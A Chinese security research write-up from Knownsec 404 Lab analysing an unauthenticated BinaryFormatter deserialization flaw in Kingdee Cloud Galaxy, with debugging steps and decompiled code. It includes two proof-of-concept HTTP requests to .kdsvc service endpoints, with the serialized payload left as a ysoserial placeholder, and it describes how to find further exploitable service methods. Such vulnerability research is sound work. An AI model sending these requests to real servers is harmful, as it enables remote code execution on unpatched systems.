作者: Sunflower@知道創宇404實驗室
日期:2023年7月10日
1.前言
由于金蝶云星空能夠使用 format 參數指定數據格式為二進制,攻擊者可以通過發送由 BinaryFormatter 惡意序列化后的數據讓服務端進行危險的 BinaryFormatter 反序列化操作。反序列化過程中沒有對數據進行簽名或校驗,導致攻擊者可以在未授權狀態下進行服務器遠程代碼執行。
剛接觸 .NET 不久,正巧遇上了金蝶反序列化漏洞,本篇文章將從入門學習如何調試——分析金蝶反序列化漏洞。
2.影響范圍
金蝶云星空 < 6.2.1012.4
7.0.352.16 < 金蝶云星空 <7.7.0.202111
8.0.0.202205 < 金蝶云星空 < 8.1.0.20221110
3.環境準備
3.1 金蝶云星空
https://www.heshuyun.com/265.html
本文選擇漏洞版本 7.6,安裝就不用說,下載地址里面都有。
安裝完成后訪問能打開就行,如圖 1 所示:
3.2 dnSpy
dnSpy 是一個調試器和 .NET 程序集編輯器。即使沒有任何可用的源代碼,你也可以使用它來編輯和調試程序集。
https://github.com/dnSpy/dnSpy
3.3 Process Hacker
Process Hacker是一款免費、強大的多用途工具,可幫助你監控系統資源、調試軟件和檢測惡意軟件。
https://processhacker.sourceforge.io/
4.調試準備
已知漏洞的路徑如下,現在需要通過該URL定位找到對應的代碼位置。
這是一個 .NET 程序,所以直接打開 IIS 管理器,右擊 K3Cloud—— 瀏覽,找到源碼的位置,如圖 2 所示。
在 WebSite 目錄下找到并打開 Web.config,如圖3所示:
在 Web.config 的 handlers 中可以看到,其中定義了讓路徑為 kdsvc 結尾的請求去使用 Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandler 類進行處理,所以接下來尋找一下這個類的代碼所在位置,如圖 4 所示。
這里根據漏洞的 URL 推測,涉及的dll大概是 Kingdee.BOS* 這樣的文件。從 WebSite\bin 目錄下復制出 dll 文件,載入到 dnsPy 中,然后搜索:Kingdee.BOS.ServiceFacade.KDServiceFx.KDServiceHandle,如圖 5,定位到代碼具體位置:
根據搜索已經知曉了是哪一個 dll 文件處理了(Kingdee.BOS.ServiceFacade.KDServiceFx.dll),接下來使用 Process Hacker 定位到該 dll 被調用時所在的位置,然后右擊 Open file location。
這一步有一個小坑,要先訪問一遍漏洞路徑,不然 Process Hacker 只能搜索出一個,并且這一個不能正確的進行調試。搜索出兩個則選擇包含 k3cloud 路徑的那一個,如圖 6。
打開該 dll 的位置后,在該位置文件下新建一個同名 .ini 文件,如圖 7 所示。
文件內容如下,這里的作用是禁用編譯優化 [1](之后打開 cmd 使用 iisreset 命令重新 IIS 服務器,否則禁用編譯優化不生效!)。
[.NET Framework Debugging Control]
GenerateTrackingInfo=1
AllowOptimize=0
重啟完 IIS 服務器后,進程 ID 會改變,所以再次使用 Process Hacker 搜索到相應的進程 ID(打開文件夾驗證同級目錄下是否有剛剛創建的 .ini 文件),如圖 8 所示。
接下來將這個目錄下的 Kingdee.BOS.ServiceFacade.KDServiceFx.dll 文件加載到 dnsPy 中,調試——>附加到進程,選擇剛剛得到的進程號 ID,如圖 9 所示。
接下來在 Kingdee.BOS.ServiceFacade.KDServiceFx的KDServiceHandler 中打上斷點,稍等幾秒看見斷點變為實心紅圈表示可以調試了,如圖 10 所示。
5.漏洞分析
參考網上公開的 PoC[2],將其中 PAYLOAD 位置替換為 ysoserial 生成的內容,先簡要跟一下這個漏洞:
POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json
{
"ap0":"PAYLOAD",
"format":"3"
}
這里直接發上面的數據包進行調試。如果之前配置的 dnSpy 沒錯,就可以成功斷到點了,如圖 11 所示。
這里可以手動跳過幾個系統的處理邏輯,ctrl+ 鼠標點擊進入 return new KDSVCHandler();——this.ExecuteRequest(webCtx, requestExtractor);——RequestExcuteRuntime.StartRequest(requestExtractor, ctx);——RequestExcuteRuntime.BeginRquest(requestExtractor, context);,此時來到 RequestExcuteRuntime 類。斷點斷到 69 行 的 string localFile = webCtx.Context.Server.MapPath(path);,如圖 12 所示。
這里的 path 就為我們傳遞的 url ,然后通過 webCtx.Context.Server.MapPath(path); 生成一個 localFile,BuidServiceType 方法根據 localFile 包含common.kdsvc,繼續跳轉到其他邏輯,如圖 13 所示。
通過處理賦值給 text 提取出類名和方法名等,再先通過緩存去查找類,沒找到再調用 BuildServiceType 方法,如圖 14 所示。
BuildServiceType 方法就是根據 strtype 定位到具體的程序集,然后再在程序集中尋找對應的類和方法等,如圖 15 ,這里就不再細說。
繼續跟進,最終到達了 ExcuteRequest 方法內部,這里通過遍歷幾個 Modules 來處理這個請求,如圖 16 所示。
差不多遍歷到第 4 個 Modules ,進入到 OnProcess 方法中,如圖 17 所示。
再繼續進入到 Execute() 方法內部,可以看到 DeserializeParameters() 方法,如圖 18 所示。
繼續跟進,如圖 19。
直到最后跟進到 BinaryFormatterProxy 的 Deserialize 方法中,這里可以看出代碼使用了 BinaryFormatter
進行了 Deserialize操作[2],微軟已經將 BinaryFormatter 的反序列化標注為不安全的[4]。
public object Deserialize(string content, Type type)
{
BinaryFormatter binaryFormatter = new BinaryFormatter();
object result;
try
{
byte[] array = this.encoder.Decoding(content);
if (this.Compressor != null)
{
array = this.Compressor.Uncompress(array);
}
using (MemoryStream memoryStream = new MemoryStream(array))
{
result = binaryFormatter.Deserialize(memoryStream);
}
}
catch (FormatException)
{
throw new KDException("#####", "服務器返回內容不能被解碼,請檢查服務器地址是否正確。");
}
return result;
最后調用棧如圖 20 所示。
5.1 為什么要賦值format=3?
因為 Create 方法中的 requestExtractor = new JQueryRequestExtractor(request, isGet);,其內部會根據 request 傳遞的值來進行屬性的賦值給 this.form,如圖 21 所示。
待后續調用到 this.Format 時,則會自動觸發 Format 定義,如圖 22 所示。
如圖 23,傳遞 format 參數為 3。
接下來根據這個屬性值來進行匹配,為3正好能匹配到 Binary(當然這里 format 賦值為 Binary 也是可以的),如圖 24 所示。
5.2 為什么使用ap0作為參數?
一開始以為 ap0 是 GetBusinessObjectData 其中一個參數,后來發現其使用了如下代碼邏輯:
public string[] GetServiceParameters(string[] paras)
{
string[] array = new string[paras.Length];
if (this.form.AllKeys.Contains("parameters"))
{
string parameters = this.form["parameters"];
JSONArray jsonarray = new JSONArray(parameters);
int num = Math.Min(jsonarray.Count, array.Length);
for (int i = 0; i < num; i++)
{
if (jsonarray[i] == null)
{
array[i] = string.Empty;
}
else
{
Type type = jsonarray[i].GetType();
if (type.IsValueType || type == typeof(string))
{
array[i] = jsonarray[i].ToString();
}
else
{
array[i] = jsonarray.GetJsonString(i);
}
}
}
}
else
{
int num2 = 0;
for (int j = 0; j < paras.Length; j++)
{
array[j] = this.form[paras[j]];
if (array[j] == null)
{
array[j] = this.form["ap" + num2++];
}
}
}
return array;
}
這意味著 array 只會接收 "ap+ 數字"和 parameters 中的值,否則 array 為 null 。此外,parameters 的值需要符合 JSON 格式。例如:
{"ap0":"payload","parameters":["payload"]}
6.繼續探索
分析到反序列化執行點發現,這里是先進行反序列化,之后 Invoke 再執行方法內部再進行參數類型判斷。這就意味著不管調用哪個類或者方法,只要該類或者方法存在并且可以傳入值(至少一個),那么都會調用到 this.DeserializeParameters(serializeProxy, svcType, paraValues) 代碼里面,如圖 25 所示。
此外還有個限制,svcType.MapToCLRType 的構造函數需要支持傳遞 context(KDServiceContext)類型或者繼承該類型的參數。只有確保傳遞給 CreateInstance
方法的參數與所需的構造函數參數類型兼容,且符合構造函數的參數約束,才能成功創建對象,否則會在創建對象時報錯,導致跳不到反序列化的步驟中去,如圖 26 所示。
綜上所述,只要任意一個類型的構造函數支持傳遞 KDServiceContext 類型或者繼承該類型的參數,并且其中的方法可以傳入參數(至少一個),那么都可以進入反序列化的代碼邏輯里去。
例舉幾個命名空間,他們下面的類的構造函數都支持傳遞 context 的類型:
Kingdee.BOS.ServiceFacade.ServicesStub
Kingdee.BOS.ServiceFacade.ServicesStub.Account
Kingdee.BOS.ServiceFacade.ServicesStub.Workflow
Kingdee.BOS.ServiceFacade.ServicesStub.AppDesigner
Kingdee.BOS.ServiceFacade.ServicesStub.BaseData
Kingdee.BOS.ServiceFacade.ServicesStub.BusinessData
Kingdee.BOS.ServiceFacade.ServicesStub.BusinessFlow
Kingdee.BOS.ServiceFacade.ServicesStub.Computing
Kingdee.BOS.ServiceFacade.ServicesStub.DataMigration
Kingdee.BOS.ServiceFacade.ServicesStub.DB
Kingdee.BOS.ServiceFacade.ServicesStub.DynamicForm
Kingdee.BOS.ServiceFacade.ServicesStub.Metadata
......
調試到這里,成功跳到了反序列化步驟中去了,本以為可以準備收尾文章了,但是進入后發現 SerializerProxy 的 Deserialize 方法依舊對參數類型進行了判斷。
public object Deserialize(string content, Type type)
{
if (string.IsNullOrEmpty(content))
{
if (type.IsValueType)
{
return Activator.CreateInstance(type);
}
if (type.Equals(typeof(string)))
{
return content;
}
return null;
}
else if (type == typeof(string))
{
if (this.proxy.RequireEncoding)
{
byte[] array = this.proxy.Encoder.Decoding(content);
return this.encoding.GetString(array, 0, array.Length);
}
return content;
}
else
{
if (type.IsEnum)
{
return Enum.Parse(type, content, true);
}
if (type == typeof(int))
{
return int.Parse(content);
}
if (type == typeof(byte))
{
return byte.Parse(content);
}
if (type == typeof(float))
{
return float.Parse(content);
}
if (type == typeof(double))
{
return double.Parse(content);
}
if (type == typeof(long))
{
return long.Parse(content);
}
if (type == typeof(DateTime))
{
return DateTime.Parse(content);
}
if (type == typeof(decimal))
{
return decimal.Parse(content);
}
if (type == typeof(bool))
{
return bool.Parse(content);
}
return this.proxy.Deserialize(content, type);
}
}
這里又出現了一層限制,因此正確的利用條件應該為:任意一個類型的構造函數支持傳遞 KDServiceContext 類型或者繼承該類型的參數。該構造函數中的方法需要傳入至少一個參數,并且參數不能為上述類型(string、int、byte、float...)。
在我剛剛提供的命名空間里面還是能找到不少符合條件的,例如圖 27。
6.1 構造其他PoC
這里只舉了一個較為經典的案例,除此之外還有很多。
Kingdee.BOS.ServiceFacade.ServicesStub.BusinessData.BusinessDataService.Audit 傳遞的第三個參數為 object[](這里滿足不為int、string等類型),且 ProcInstService 的構造函數支持傳遞 KDServiceContext 類型,滿足條件,如圖 28 所示。
之前提到的,傳入 "ap+ 數字" 或者parameters,就可以給array賦值,這里Audit方法的第三個參數為object[],所以就需要使array[2]為payload,前兩個值用ap0和ap1進行占位,ap2為PAYLOAD。
所以構造的PoC 大致為:
POST /K3Cloud/Kingdees.BOS.ServiceFacade.ServicesStub.BusinessData.BusinessDataService.Audit.common.kdsvc HTTP/1.1
Host: example.com
Content-Type: text/json
{
"ap0":"1",
"ap1":"1",
"ap2":“PAYLOAD”,
"format":"Binary"
}
圖 29 進行驗證(這里PAYLOAD使用的是ysoserial生成的ActivitySurrogateSelectorFromFile攻擊鏈)。
7.總結
本篇文章算是我從.NET入門到調試分析第一個漏洞,雖然一路上踩得坑還是不少,但是收獲還是挺多的。本文主要講了用 dnsPy 進行附加進程調試,至于VSstudio 調試以及一些編譯優化入門可以看一下這篇文章:http://www.bjnorthway.com/1894/。
8.參考鏈接
[3]http://www.bjnorthway.com/901/
[4]https://learn.microsoft.com/zh-cn/dotnet/standard/serialization/binaryformatter-security-guide
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2089/
暫無評論